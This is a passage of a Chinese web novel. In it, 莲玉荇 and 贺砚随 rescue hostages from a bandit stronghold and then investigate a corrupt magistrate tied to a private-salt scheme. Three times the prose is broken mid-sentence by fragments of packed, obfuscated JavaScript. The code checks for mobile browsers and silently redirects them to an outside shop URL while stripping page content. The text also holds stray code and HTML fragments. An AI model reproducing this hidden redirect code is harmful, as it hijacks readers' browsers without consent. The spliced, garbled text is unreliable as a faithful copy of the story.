地牢里守卫森严,层层把守,莲玉荇还没来得及前进一步,便被人发现了。 她借着夜色一路躲藏,终于甩开了跟了一路的土匪。 假山里漆黑一片,莲玉荇大气不敢喘,躲着躲着,发现外面的声音不太对,杂乱无章的脚步声很多。 等到没什么动静之后,莲玉荇稍稍从假山内出来,一路跌跌撞撞往寨子外面走去。 既然她一个人救不了所有人,那就先逃出去,先和小舅舅他们会和,再来救地牢里的人。 莲玉荇一路跑一路躲藏,寨子里点起了火把,没有了欢闹的气氛,有一种山雨欲来的征兆。 有两个土匪举着火把迎面而来,莲玉荇反应迅速地侧身躲在石头后面。 两个人边走边说,分外着急,“山下聚集了好多人,正准备强攻进寨子,当家的刚才突然摔了碗,真吓人呐。” “快别说了,阁楼里关着的那人不见了,三当家那脸色感觉要吃人。” “别说了别说了,赶紧走,耽误之急是把寨子守住,不然我们都得完蛋。” …… 两个人走得越来越远,莲玉荇才小心翼翼地往山下跑去,看来他们快攻上来了,得赶紧去接应他们。 莲玉荇走得越来越快,还没走出多远,忽地被一个人拦住了去路,心里登时一惊,旋即瞪大了眼睛。 ** 贺砚随一路策马,很快便发现山下的不对劲,在半路下了马,躲在一边的草丛里,仔细观察着情况。 马往前跑了十几米便被人拦住了,贺砚随听见说话声,那伙土匪应该知道有官兵往这边来,早早派了人在山下守着。 贺砚随没说话,给暗卫们使了个颜色,暗卫们尽数冲了上去,给土匪们杀了个措手不及。 这一打便打出了一个缺口来,贺砚随趁土匪不注意,从缺口处上山了,等到土匪们反应过来,已经来不及了。 紧接着后面又涌上来一大批人,土匪们吓得屁滚尿流,纷纷往寨子处撤退。 悄无声息进了寨子之后,贺砚随便开始寻找莲玉荇的踪迹,一路上听到很多人在说阁楼,捕捉到关键词的贺砚随便往阁楼赶。 待贺砚随到了阁楼,阁楼里房门大开,一个人影都没有,心沉了下来,忽然在角落处瞥见了一抹斑斓色彩。 贺砚随走过去,把衣服抓在手里,应该是莲玉荇的衣服。 现在人不见了,难道已经逃出去了?贺砚随心想,脚步不停,终于在一处假山发现了一个熟悉的身影。 贺砚随心跳快了起来,疾步上前,拦在那人面前。 莲玉荇很是不可置信,观察四面,把贺砚随拉到假山后面,连珠炮似地开口:“贺砚随,你怎么在这儿?你怎么上来的?” 贺砚随抬起食指,在莲玉荇嘴边比了个手势,示意她噤声,假山后又急匆匆跑过去一大堆人。 “一会儿就会有人攻上寨子,这里很危险,我们先离开这儿。”贺砚随伸手去拉莲玉荇,却被她躲开了,“我不走。” 两人站在原地僵持了片刻,贺砚随反应过来,说道:“等官兵攻上来,寨子里必然乱做一团,还不如等平定以后再救下她们,如何?” 莲玉荇摇摇头,“这伙土匪远比你想的要残忍野蛮,女人和孩子说抢过就抢,还留在山上,必然有用。况且,你们还没来的时候,这寨子当家的便把我圈禁起来做人质,用来当手里的筹码。” 说到筹码,贺砚随也不由得惊了一下,要是他没在贺沅安他们之前赶过来,莲玉荇又或者一大批女人和孩子,就都会被劫持在刀下。 贺砚随不敢再想,赶紧开口问道:“她们在哪儿?” 莲玉荇见贺砚随同意,心下稍安,拉着贺砚随往地牢的方向跑去。 她专门挑了一条小道,人不是很多,避免了很多正面冲突。 到地牢门口,原先看守的人不减反增,待会儿局势不利,土匪肯定会来地牢劫持人质。 莲玉荇更加庆幸自己返回地牢的决定。 她看了一眼贺砚随的腰间,贺砚随顺着她的视线看下去,腰间别着一枚雾雷。 贺砚随把雾雷递给莲玉荇,莲玉荇则凑到贺砚随耳边低声说话,“待会儿我把它扔出去之后,你负责解决这边的,我负责这边的。” 两人离得很近,莲玉荇的呼吸全打在贺砚随的脸上,泛起一阵酥酥麻麻的感觉。 贺砚随紧绷着身体,“嗯”了一声。 莲玉荇默念着时间,以迅雷不及掩耳之势,把雾雷扔了出去,啥时间“砰”的一声,几乎震耳欲聋。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430449|141427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >莲玉荇把雾雷扔向了远离地牢的方向,扔得还比较远,在地牢旁边守着的土匪不明所以,被吓了一跳,四散奔逃。 不过还是有聪明的人,为了防止是调虎离山之计,一部分人前去探查。 “还有吗?”莲玉荇又问。 贺砚随没说话,从腰间掏出一个雾雷递给莲玉荇,这次莲玉荇没有犹豫,直接扔到地牢门口。 “砰——” 贺砚随和莲玉荇不约而同冲了出去,暗卫也伺机而动,不一会儿就把人全部解决了。 莲玉荇拿了钥匙冲进地牢,小棉花欣喜不已,略微抬高声音喊了一声“姐姐”,地牢里的人都躁动起来。 贺砚随拿了钥匙,一边开门一边嘱咐众人,“出去之后,跟着莲姑娘,往后山的方向走,一路下山,会有人在下面接应你们。” 临走时,莲玉荇却止住了脚步,朝贺砚随颔首,“你们小心。” 话音落下,莲玉荇便带着一群人浩浩荡荡下山去了,任谁都不会想到,一众土匪在寨前浴血奋战,地牢里的人质已经全部逃了出去。 下了山,果然看到贺砚随说的负责接应的人,莲玉荇回过头往山上看去,山上已经燃起熊熊大火,已成溃败之势。 ** 徐家寨之上,徐速徐昭徐免三兄弟精心布置的防线,被层层攻破,最后一道,也撑不住多长时间了。 徐速带着一众人往地牢退去,准备挟持几个人质,威胁一众官兵放他们一马。 原本以为,这个筹码应该不会用到,谁能想到阁楼之上的莲玉荇竟然逃跑了,现在他们也已经被逼到穷途末路。 当看到四处倒在地上的兄弟时,徐速暗道不妙,身后徐免和徐昭的脸色也不对,前去探查的人一脸悲怆,拱手行礼,“回大当家,人质全跑了!全跑了!” “废物!”徐免大步上前,把探查的人扇倒在地上,他就说心里总觉得哪里不对劲,原来是在这里等着她们呢。 眼看众人情绪不对,徐昭赶紧制止,道:“眼下局势全然不利于我们,便如那位所说,放弃寨子,逃吧……” 一番话击溃众人的心理防线,但也为众人提供了一个出路。 “赶紧走!”徐速大手一挥,带着剩下的人往后山处撤退。 到了半山腰,众人都傻了眼,山下布满了人,就像一开始他们布开防线,阻拦别人一样。 众人慌不择路地退回去,才发现官兵已经追了上来,两面夹击,没有任何逃亡的路口了。 徐速一脸愕然,怎么都没想到,自己会从得意洋洋,落到现在这种下场。 身后的徐免徐昭一脸颓然,认命一般丢了手上的兵器,投降了。 主将投降,小兵也没有拼死抵抗的意思,纷纷缴械投降。 徐家寨全寨被擒,这个名震一时的土匪窝就此没了踪迹,被一把火烧了个干净。 ** 莲玉荇下山后,就被安置到客栈休息,余下的女人和孩子,就近的已经送回家去,剩下的也都先安置在客栈。 不到两个时辰,贺砚随他们也回到了客栈。 楚元琅一见莲玉荇,咧开笑意,就要往莲玉荇身上扑,被贺砚随及时拦住。 等到楚元琅看过来,他只神色淡淡,漠然说道:“脏。” 楚元琅悻悻退后,眼底满是庆幸和开心。 四人围着桌子坐了下来,贺砚随和贺沅安相对而坐,一时间暗潮汹涌。 楚元琅有些莫名其妙,不明白两个“不认识”的人,怎么如此针锋相对?难道是风水不和? 知道两人关系的莲玉荇眨眨眼,示意楚元琅别说话。 唉,她也很好奇,他们兄弟俩怎么会变成现在这样。 明明是同胞兄弟。 15. 推拒 在客栈休息了几日,贺砚随他们打算去淮安县衙探查一些事情。 几个地方失踪的人虽然已经找回来了,但是这其中的种种,让人不敢深思。 莲玉荇没有跟着太守府派来的人一同回平城,这几日她一直在想一些事情。 一是,当日她在徐家寨听到看守之人所说,徐家寨主要收入来自抓来的人,她猜测,要么是敲诈勒索,要么是贩卖人口。 而且徐家寨收到的钱财,看样子还要分出一部分来“上贡”,这贡要送往何处,具体还尚未可知。 徐家寨的人悉数都被收押在淮安县衙,有专人看管,待到他们前去审问,应该会有所收获。 二是,她和贺砚随的关系并未像她设想的轨迹进行,反而越走越近,还有几分亲近之意。 当初信誓旦旦说出口,现在却又做不到了。莲玉荇有点唾弃自己了,前世那些事情还历历在目,就算她真的和贺砚随亲近,断然也做不到心无芥蒂。 莲玉荇思量许久,她还是和贺砚随保持距离,以免多生事端。 下了楼,贺砚随、贺沅安、楚元琅几人已经坐在桌前等着,看见莲玉荇来了,楚元琅赶忙让位,“表姐,你坐这里。” 还未来得及说什么,莲玉荇就被楚元琅带到桌边,旁边坐着的是贺砚随,看她坐下来,只扫了一眼,又移开了视线。 贺沅安将众人的反应收进眼底,淡淡开口,“既然休息好了,便赶紧出发吧,迟则生变。” ** 淮安县衙处在街区,四面通达,几人抄了小道,不到半个时辰就到了县衙门口。 县衙大门紧闭,不知道是什么缘故。 楚元琅看了看周围,一个是她表姐,两个是王爷,断然没有使唤他们的道理,任劳任怨上前拍响大门。 过了好久,里面的人才慢慢悠悠走出来,依稀听得见脚步声,大门“吱呀”一声开了。 有人探出头来看,眼睛微微眯起,看起来十分奸滑,不耐烦说道:“什么事儿?今日县令身体不适,不便接见,还请诸位从哪里来回哪里去。” 说着就要把大门关上,楚元琅拉着见,一副不好惹的样子,拿出令牌举到那人面前。 “奉命行事,我们要见庄县令,烦请让路。”楚元琅语气十分冷淡,当即放了话。 楚家祖上是武将,楚元琅自然而然承袭了几分,正经起来也带着一些威慑之意。 那人缩了缩头,低声细语,像是在和人交谈,不一会儿,便开了门,让他们进去了。 莲玉荇走得慢,很快落在了队伍之后,走在前面的三人没有察觉她的刻意,仍然继续走着。 这样也好。莲玉荇心想。 只要贺砚随不接近她,她便保持分寸,不会惹人生出其他心思来。 那人将他们带到客厅,便去请了庄县令来。那庄县令身姿矫健,步履带风,不像身体抱恙的样子,倒像是在躲避什么。 莲玉荇坐在角落,一言不发,静静看着他们几人和庄县令交涉。 楚元琅率先发话:“徐家寨的土匪尽数押在淮安县衙里,此番我们前来,是想看看还能不能找到线索。这几日庄县令已经审问过他们了,不知道问出些什么了?” 话音落下,所有人的目光都落到了庄县令身上,庄县令的身体僵了一瞬,犹豫了片刻。 “怎么了?庄县令是有什么顾虑吗?”楚元琅挑眉。 这老匹夫,怎么看怎么有嫌疑。 要不是听表姐说这些土匪绑架百姓换来的钱财,有一部分拿来“上贡”,不然庄县令这副坦荡姿态,他还真是丝毫没怀疑。 庄县令笑了笑,回答:“这几天我亲自审问,什么刑罚都用尽了,那伙土匪嘴硬得很,半句话都没吐露。” 庄县令顿了顿,想到他们应该没那么容易信任自己,又道:“几位既然来到县衙,不妨亲自去看看,便知道我所言是真是假了。” ** 淮安县衙大牢。 地牢里阴暗潮湿,脚落在地上都能感觉到湿气。 拐过弯,入目是一片猩红的场面,徐家寨的三个当家土匪被绑在架子上,身上布满了大大小小的伤口,垂着头,没了意识。 庄县令没有说谎,他确实对徐家三兄弟进行严刑拷打,以期能得到丁点儿的信息,但是看样子,没什么用。 楚元琅绕着三人走了一圈,目光落在伤口处,眼底闪过异样,随后朝莲玉荇他们摇摇头。 “既然如此,那我们便先回去,等庄县令的消息罢。”楚元琅说。 “辛苦诸位。”庄县令眼眸微闪,叫人瞧不真切,“一有消息,我会立马派人前去通知几位。” 目送莲玉荇他们远去,庄县令才收回目光,接过仆从递过来的手帕,随意地擦了擦,扔到地上。 还真是难缠。 ** “庄县令定然知道些什么,或者说,徐家寨的勾当与他脱不了干系。”楚元琅愤愤说道。 他知道莲玉荇在徐家寨的时候意外听到了土匪的交易,也清楚庄县令与这些事情有着密不可分的关联,但是找不到证据,还是让人恼火。 莲玉荇:“淮安县衙在百姓失踪后不加重视,草草结案,本就有包庇嫌犯的嫌疑。徐家寨的收入要上贡给某位大人,以求得庇佑。” 其中关窍,应该就在这庄县令身上。 庄县令对徐家三兄弟严刑逼供,像是急着撇开关系,证明自己的清白。 莲玉荇若有所思。 若是她的推测是正确的,徐家寨“上贡”的银两不在县衙的库房里,就在庄县令的私宅。 得找个机会去一趟庄县令的宅子。 又过了几日,贺砚随早出晚归,贺沅安也整日不见踪影。 莲玉荇躲在客房里,极少与他们兄弟俩见面,乐得自在,丝毫没表现出来。 到晚饭的时候,莲玉荇迟了一会儿,下楼的时候人已经离开了,客栈里空空荡荡的。 莲玉荇坐了下来,想叫伙计送些吃的过来,四处看看没瞧见人影,作罢,倒了茶水啜饮。 烛火昏黄,摇摇晃晃扑到身上,覆下一片阴影。 莲玉荇眨眨眼,暖黄色的光便随着睫毛跳跃,平添些许破碎之色。 大堂里很安静,待了一会儿,饥饿感渐渐褪去,莲玉荇起身上楼,没走几步,就又停了下来。 楼下传来脚步声,有人从厨房走出来,路过楼梯旁脚步微顿。 一时间,四目相对。 两个人一上一下,距离不远不近,能清楚看到对方的神情。 “端王殿下没吃晚饭吗?”莲玉荇说。 还是第一次见贺砚随这般模样,鬓发微乱,脸上沾了灰,手上端着盘子,整个人看上去很平易近人。 贺砚随见到莲玉荇,眼波微动,不过没什么惊讶之色 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往后她要找贺砚随寻仇,也就更有理由了。 ** 楚元琅率先发现两人关系的变化,平日里还和和气气、互相问好的两个人,仿佛变了一副模样,连眼神接触也没了。 视线游移不定,舌尖上的话滚了又滚,最终咽了回去。 贺砚随心里烦闷不已,找掌柜要了一壶酒,来到后院自顾自喝了起来。 身后有脚步声传来,贺砚随动作一顿,须臾间恢复如常。 “怎么?受了情伤,来这儿喝闷酒来了。”贺沅安言语讥讽道。 昨夜大堂里传出的动静,客房里听得清清楚楚。 只是没想到,贺砚随竟然会如此在意一个女子。 “你这张嘴向来能说会道。”贺砚随说道:“不过,堂堂景王不也躲在这后院,不知道是做些什么见不得光的事,” 两个人脸色都不是很好,你来我往,争锋相对,谁也不让谁,如同幼时那般。 方才歇了片刻,贺砚随就又开口:“你来平城,也是为了私盐一事。” 不是疑问,而是言之凿凿地说出了贺沅安此行的目的,想来很早就调查清楚了。 贺沅安没有遮掩,坦然回应:“是,一月前莲姑娘写信告知我了一些线索,特邀我来平城。” 话音刚落,贺砚随眼神暗了暗,莲玉荇是如何知道私盐的线索? 还将线索告知了贺沅安。 “既然大家目的一致,那私盐案能否破获,就各凭本事了。”贺沅安扯了扯嘴角,“别怪我没提醒你,时间不多了。” 贺沅安的身影消失在拐角处,贺砚随沉默半晌,忽地灌了一大口酒。 回房时在门口遇见了莲玉荇,贺砚随视若无睹,从莲玉荇身边走过,带起一阵温热的风。 ** 吃了晚饭,贺砚随一声不吭带着侍从离开了,刚好被楚元琅碰上了。 “贺兄这是去哪儿?”楚元琅叫住他。 贺砚随停下脚步,道:“现下案子没什么线索,留在这儿也起不到什么作用。况且我还有要事在身,就不与几位掺和了,告辞。” 楚元琅心里隐约猜到一些,拱手相送,“既是如此,贺兄此去注意安全,有缘再见。” 16. 处置 “如今线索全断了,耗在客栈也于事无补,不如我们先去查探私盐案。”莲玉荇看了看身边的人,说道。 贺沅安摩挲着手上的戒圈,认同道:“在淮安耽搁了太久时间,是时候该干正事儿了。” 贺砚随现在的进度应该在他们之前,前几日他派人去查了一些线索,聊胜于无。 不过贺沅安并没有把所有的事情告知莲玉荇,而是有所保留,毕竟与人谋,总得留一些后路。 “我总觉得庄县令有问题。”莲玉荇说:“盐价上涨率先从淮安开始,庄县令在淮安任职时间已经有三年之久,对淮安的盐价肯定有所察觉。” “假设,只是假设。”莲玉荇斟酌着措辞,思索怎么说才更合适。 “如果徐家寨拐卖人口赚取的钱财,有一部分供奉给庄县令,求得庄县令的庇护。庄县令用这笔钱来收购市面上的盐,再高价卖出。两方得利益,是个稳赚不赔的买卖。” 这个想法也不无道理。贺沅安在心里盘算着,缓缓开口:“不无可能,只是私盐案牵涉重大,不能凭借莲姑娘这番推断,还得拿到证据。” 莲玉荇:“这是自然,那就顺着这个方向查吧。” 拍定方向,莲玉荇起身推开门,日头正盛,很是晃眼。 楚元琅嘴角噙着笑,“表姐,走吧!” 一行人兵分两路,莲玉荇和楚元琅负责查庄县令这条线,盯紧庄县令身边人的去向。 贺沅安独自行动,去各个盐铺查探,看能不能找到什么更有价值的东西。 庄府门外,莲玉荇和楚元琅躲在墙角,时刻注意来往庄府的人。 这几日县衙休沐,庄县令此刻正在私宅休息。 小半个时辰过去,庄府门前冷冷清清,没人来,也没人离开。 楚元琅缩回身子,皱着眉,“表姐,咱们盯了这么半天都没见什么人,姓庄的会不会没在私宅?” “应该不会,”莲玉荇摇摇头,“我派人去查过,庄县令从前日开始,便一直在私宅待着,没出去过。再等等。” 莲玉荇将视线重新投向庄府门口。 又过了半个时辰,楚元琅困倦非常,打了个哈欠,再睁眼发现大门悄然打开了,管家模样的人关上门,从小巷离开了。 莲玉荇和楚元琅对视一眼,小心翼翼跟在管家身后,不远不近。 管家十分警惕,老态的脸上有着不相符的锐利,一边走一边四处观望,莲玉荇他们躲得很快,才没被发现。 拐过了七八个巷子,管家警觉地往后看,抬手敲开一扇门进去,待莲玉荇和楚元琅进去查看时,已然人去屋空了。 “被发现了。”莲玉荇颇为失望,还以为能抓到庄县令的把柄。 楚元琅愤愤说道:“不过是一个县令的管家,竟有这么大的本事。” 恐怕从庄府开始,他们就被庄府管家发现了。 “先回客栈,再行商议。”莲玉荇拍了拍楚元琅的衣袖,眸色渐深。 ** 长街之上,贺砚随一副贵公子扮相,手上的山水折扇掩盖了满身锋芒,时不时还摇晃几下。 身后跟着的十九和迎月,也是奴仆打扮,丝毫看不出两人本是暗卫。 淮安县的盐铺和盐商他们都调查清楚了,除了周边零零散散不成气候的盐铺,生意最大、最好的就是这条街上的津南盐铺。 津南盐铺里的盐主要供应各大酒楼客栈,别的盐铺时不时缺盐,只有津南盐铺里的盐供应不断,即便价格颇高,也十分受人青睐。 至于这盐从何处来,没人知道。 贺砚随撩起眼皮,往金光闪闪的牌匾上看去,比淮安县衙的牌匾气派不少。 接着抬起脚,踏进了盐铺,还未等几人发话,就有人迎了上来,“几位客官,是要买盐吗?对品相有何要求?” 贺砚随十分惫懒,摇着折扇没说话,姿态倨傲却又不惹人厌烦,那人尴尬地笑了笑。 十九尽职尽责,上前说道:“我家公子是做酒楼生意的,听说淮安县津南盐铺的盐品质极佳,特地来此进货。” 那人咧开了嘴,先前被忽视的尴尬也褪去,面露得意,“我们津南盐铺的盐要是第一,没人敢称第二的。不知客官要进多少货?” 十九伸出手,比了个手势,那人愣了愣,随后将贺砚随他们领进了内室。 “诸位稍等,我去请我们掌柜来。”话毕便退了出去。 过了片刻,屏风后多了一个人影,却迟迟不肯露面。 “我是这店铺的掌柜,不知道客人用这么多盐做什么?寻常酒楼用盐不过几十斗,用不了那么多。”盐铺掌柜说道。 十九嗤声:“既是谈生意,掌柜的躲在屏风后面,是何意思,是瞧不起我们公子吗?” 十九言语间夹枪带棒,把掌柜原本要说的话堵了回去,“这……” “十九。”贺砚随抬眸,终于舍得开尊口,“掌柜这是不相信我们,寻常酒楼不可能用这么多盐,那若是京都里的酒楼呢。” 掌柜闻言沉默了一会儿,似乎是在思索贺砚随所言的真实性,最终从屏风后走了出来。 “几位随我来,盐放在库房里。” 脚下的路坑坑洼洼的,走了一柱香的时间,掌柜在一间屋子前停下了脚步。 掌柜推开门,“就是这里了,公子可以先挑选。” 屋子里黑漆漆一片,贺砚随往前走了几步,顿住。 “公子怎么了?”掌柜开口,气息有些不稳,细听是不易察觉的颤抖。 贺砚随不着痕迹给十九和迎月递了一个眼神,对上掌柜的眼神,“无事,走,先进去看看。” 贺砚随面色如常,提步进了房间,待到三人都进了房间,房门突地被关上了,发出“咣当”的响声。 掌柜的声音传进屋子里,很是嘲弄,“京都的人怎么会跑到淮安买盐,你们这些人真以为我是傻子吗!今日就叫你们有命来,没命回去!” 墙壁上出现了机关,银色的箭尖在昏暗的房间里很是瞩目,下一瞬,长箭破空而来,朝着要害处去。 贺砚随眼底清明,站在原地没动,一呼一吸间,十九和迎月将暗器悉数扫落在地上。 迎月挡在贺砚随前面,“主子小心。” “你们是什么人?!”门外,盐铺掌柜惊叫出声,接着被暗卫擒住。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430451|141427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过了一会儿房门大开,贺砚随踱步而出,悠闲又懒散,站到掌柜面前问话,眼里闪过一抹厉色:“说,这盐铺中的盐从何而来?而你又替谁卖命?” “你休想知道!”掌柜恶狠狠盯着贺砚随,嘴上一动,片刻后便软倒在地,死透了。 十九让人把尸体抬下去,“主子,看来背后之人早已做好了准备。” 贺砚随不以为意,“正常,贩卖私盐也是掉脑袋的买卖,富贵险中求。” “主子,接下来我们怎么做?”迎月问道。 “不急,先静观其变,闹出这么大的动静,背后之人肯定坐不住了,必定有所动作。” 何况,他已经知道背后之人是谁了,抓个人赃并获更好。 ** “老爷,我今日出门时好像被人跟踪了,绕了几个巷子才把人甩掉。” 管家进了书房,躬身行礼,向庄县令禀报:“铺子那边传来消息,有人扮作贵人前去试探,掌柜发现不对,但还是被人擒住,服毒自尽了。” 庄县令眼神一凝,“看来他们还是不死心,竟然找到铺子去了。接下来是不是要找证据了?” “那几个人留不得了。”庄县令想起什么,吩咐管家:“你准备点酒菜,去县衙大牢一趟,这样……” 管家应声退下了,庄县令变了眼神,在墙上按了一下,书房里凭空出现一间密室。 ** 大牢里,原本关押在牢房里的徐家寨土匪,此刻正坐在桌前大快朵颐,豪迈地饮着酒水。 管家垂着手,十分恭敬地站在一边,任谁也没看见,管家眼里浮现的狠辣神色。 老大徐速见管家站着,招呼他:“庄管家,坐下来一起吃啊,站着多扫兴。” 平日里徐家寨的人和庄管家接触比较多,丝毫没察觉出什么不对。 视线全都聚集在庄管家的身上,庄管家脸上堆着笑意,“老奴来的时候吃过了,就不与各位爷同坐了,这菜是酒楼里打包过来的,趁热吃……” 话还没说完,徐免便打断了他:“庄管家,大人可有说什么时候放我们出去?兄弟们在大牢里待了快一个月,刑罚也受了,何时能有具体答复?” 方才还热闹的场面忽地静了下来,庄管家张了张嘴,似乎想说什么,又咽了回去。 徐速是个急性子,催促道:“庄管家有什么话但说无妨。” 庄管家点了点头,说道:“前几日大人有说,等事情结束便放各位离开,似乎……似乎……” “似乎什么?”徐昭问他。 “……就是今日了。” 众人欢呼出声,喜悦之情溢于言表。 庄管家笑笑,往后退了几步:“各位快些吃饭,吃完好上路。” 原本开心的众人变了脸色,瞬间意识到什么,不停质问庄管家是什么意思,说着便想冲上来。 庄管家面色不变,挥了挥手,身后涌进了一群黑衣人,剑上映射出徐家寨众人惊恐的神色。 鲜血流了一地,蜿蜒到庄管家脚边。 庄管家掏出帕子擦了擦身上被溅到的血迹,笑得和蔼。 这下,老爷可以放心了。 17. 花魁 来平城两月有余,按照莲玉荇的打算,此刻她应该已经回到了京城,而不是还在淮安,查一个没头没尾的案子。 此刻,这种感觉越发浓烈。 早些时候,县衙那边有人来报,地牢里关着的那伙土匪昨夜被人杀了个干净,一个活口都没有。 来人这样说:“歹徒来势汹汹,杀了值夜的官兵,想来是土匪穷凶极恶,与人结仇,被报复了。” 昨日他们跟踪庄管家,如今人人便死了,真有这么巧的事情? 莲玉荇不信。 庄县令这么着急,无非是怕他们找到了他的罪证,索性先下手为强,把人灭口。 看来得加快进度。莲玉荇心里有了想法,准备说与贺沅安和楚元琅听,急切地推开门。 “景王殿下……” 房间里没人,莲玉荇有些疑惑,人怎么不见了? 莲玉荇往大堂里走去,果然找到了楚元琅,不过依然不见贺沅安的身影。 “元琅,你见过贺公子没有?”莲玉荇问。 楚元琅好像才看到莲玉荇,反应迟钝,脸色有一瞬间的僵硬。“我不曾见过,应该是有事出去了。” 莲玉荇狐疑道:“你怎么了?” 年纪不大,心眼不小,保准是有事情瞒着自己。 “拿出来吧,刚我看到你藏起来了。”莲玉荇伸出手讨要,楚元琅表情扭曲了几分,犹犹豫豫,最后还是把东西拿出来了。 手上的信封因为用力已经皱了,可以看出来楚元琅的纠结。 莲玉荇在楚元琅的注视下打开信封,面无表情看完,又把信纸塞了回去。 楚元琅觑着她的脸色,“表姐,那群土匪悉数被杀死,你也看出来了,这件事已经不是我们所能掌控的,不如先回去……” “我知道,小舅舅担心我们会受伤,所以才来信催促。”莲玉荇垂眸,“这件事确实是我欠缺考虑。” “表姐答应回去了?!”楚元琅睁大了眼睛,没想到莲玉荇这么轻易就同意了。 莲玉荇失笑:“我是说,应该把你送回去。我答应把贺公子做一件事,眼下还没履行,不能言而无信。” 接下来的路十分艰险,楚元琅是楚家独子,已经跟着她经历了许多险境,万万不能再涉险了。 “诶?表姐你不能这样。”楚元琅还想说话,被莲玉荇堵了回去,“好了,你给我留一些侍卫就行,回去跟小舅舅报声平安。” 楚元琅不吭声了,垂头丧气,过了好一会儿才抬起头来,看样子是被说服了。 他眼睛亮晶晶地,看向莲玉荇,“表姐,一切小心。” 手里多了一块腰牌,是楚元琅从平城太守处借来的腰牌,要不是看在莲丞相的面子上,还真不一定借。 莲玉荇握紧了腰牌,望着楚元琅离开的背影,眼神坚定。 ** 县衙,庄管家急匆匆跑进书房,匆忙间绊到门槛上,身体踉跄摇晃,差点摔掉。 庄县令对着账本愁眉紧锁,登时不悦,喝道:“慌慌张张做什么,有鬼吃人吗!” 庄县令稳住身形,赶紧禀报:“老爷,来人了!” “什么人?” “就是之前来的那几个人,有太守府腰牌……”庄管家说得磕绊,“不过这次不一样……” 庄县令摆摆手,已然不耐烦,“去看看,他们这次搞什么名堂。” 偏厅上,男人一身玄色衣袍,云纹绣得栩栩如生,张牙舞爪的威势磅礴而出,气势逼人,让人看了自惭形秽,不敢直视。 身旁的侍从低眉敛目,恭恭敬敬地敬茶,不敢有多余的动作。 庄县令刚进偏厅就看到了这样的画面,心里的不悦更甚,隐隐有怒火升腾,也没管贺沅安怎么一个人来此。 竟敢在县衙里耍威风,真是不把他放在眼里。 “这位公子好大的威风啊。”庄县令冷哼,没给贺沅安眼神,径直坐上了主座,活脱脱盛气凌人,小人得志的模样。 气氛一时间暗潮汹涌,贺沅安放下手上的茶盏,磕在桌子上发出一声脆响。 “庄县令威风堂堂,不输于本王。”贺沅安撩起眼皮,语气冰冷。 边上的侍从不着痕迹抖了抖,从怀里拿出令牌,大声道:“景王殿下在此,还不拜见。” 原本还得意洋洋的庄县令瞬间垮了脸,想起身却使不上力气,惊惧之下竟然从座位上摔了下来,狼狈不堪。 贺沅安哼笑,欺软怕硬的狗东西,原本他还以为这位行动不便的县令有什么本事,现在看来也不过如此。 庄县令一路膝行来到贺沅安面前,笑得谄媚,“下官有眼不识泰山,冲撞了景王殿下,还请景王殿下恕罪。” 淮安县山高皇帝远,鲜少有达官贵族行访,皇子微服私访还是第一次。 庄县令只是小官,没见过皇子,闹了个大笑话。 “行了,不必搞虚头巴脑那套。”贺沅安笑得嘲弄,“本王且问你,这县衙的官银……还有多少?” 庄县令哽住了,怎么突然问这个。 官银的去处,庄县令自然一清二楚,只是在贺沅安面前,当然不能实话实说。 额头被汗水粘湿了,庄县令道:“回殿下……昨日刺客闯入府衙,杀了地牢里的重犯,还、还劫了全部的官银……” “放肆!”贺沅安猛地拍桌,将在场的人吓得一激灵,“庄尘,你好大的胆子!” “殿下恕罪!殿下恕罪!” 贺沅安:“官银丢失可是死罪,三日内将官银找回来,不然本王便修书一封,奏报京都。” 贺沅安语气拖得很长,庄县令听得出其中的警告,只得不断磕头求饶,连连答应。 “下官听命!还请殿下饶了我这一回!” 庄尘谨慎地抬起头,恰好对上贺沅安漆黑深邃的眼睛,似乎能将他所有的秘密都看穿。 贺砚随伸手拍了拍庄尘的脸,“好自为之。” 说完便起身离开偏厅,留庄尘一人瘫坐在原地大口喘息。 庄管家扶起庄尘,言语间满是担忧。 庄尘劫后余生,咬牙切齿:“既然这样,那就一不做二不休!” “遵命!” ** 照之前的推测,庄县令会大量收盐,然后再高价卖出,循环往复。 莲玉荇收到消息,淮安县附近的盐都被收购了,暗中运进了淮安。 这样的话,县衙里的官银肯定被庄尘用出去了,不过他竟然顺水推舟,把罪名推给没名没姓的刺客。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430452|141427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 昨夜她带了两个侍卫,准备去庄尘的私宅探一探,看能不能找不到庄尘买卖私盐的账本。 刚从书房出来就被发现了,侍卫带着她一路躲藏,才成功逃了出来。 “景王殿下,昨日一整天都没见你,要不是你身边的人在客栈,我还以为你失踪了。” 莲玉荇挑眉,这位景王殿下近日行踪不定,让她隐约觉得贺沅安有什么瞒着自己。 贺沅安脚步顿住,看向莲玉荇,语气稍显冷淡:“莲姑娘,本王的事应该轮不到你打听。” 